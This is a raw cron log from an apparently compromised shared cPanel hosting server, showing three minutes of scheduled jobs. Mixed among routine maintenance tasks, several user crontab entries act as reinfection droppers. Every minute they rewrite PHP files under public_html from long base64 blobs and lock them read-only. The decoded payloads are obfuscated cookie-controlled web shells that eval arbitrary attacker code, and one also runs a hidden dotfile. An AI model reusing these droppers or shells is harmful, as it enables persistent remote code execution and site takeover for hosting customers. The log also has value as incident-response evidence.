Mar  1 14:23:01 medusa CROND[20999]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 14:23:01 medusa CROND[21000]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:23:01 medusa CROND[21001]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:23:01 medusa CROND[21002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:23:01 medusa CROND[21003]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:23:01 medusa CROND[21004]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:23:01 medusa CROND[21016]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:23:01 medusa CROND[21021]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:24:01 medusa CROND[13513]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:24:01 medusa CROND[13565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:24:01 medusa CROND[13566]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:24:01 medusa CROND[13567]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:24:01 medusa CROND[13568]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:24:01 medusa CROND[13571]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:24:01 medusa CROND[13574]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:24:01 medusa CROND[13575]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:24:01 medusa CROND[13576]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:24:01 medusa CROND[13577]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:24:01 medusa CROND[13573]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 14:24:01 medusa CROND[13581]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:24:01 medusa CROND[13570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:25:01 medusa CROND[6340]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 14:25:01 medusa CROND[6473]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:25:01 medusa CROND[6474]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 14:25:01 medusa CROND[6475]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 14:25:01 medusa CROND[6476]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 14:25:01 medusa CROND[6477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 14:25:01 medusa CROND[6480]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 14:25:01 medusa CROND[6481]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 14:25:01 medusa CROND[6482]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:25:01 medusa CROND[6483]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:25:01 medusa CROND[6485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:25:01 medusa CROND[6486]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:25:01 medusa CROND[6488]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 14:25:01 medusa CROND[6489]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:25:01 medusa CROND[6493]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:25:01 medusa CROND[6495]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 14:25:01 medusa CROND[6496]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
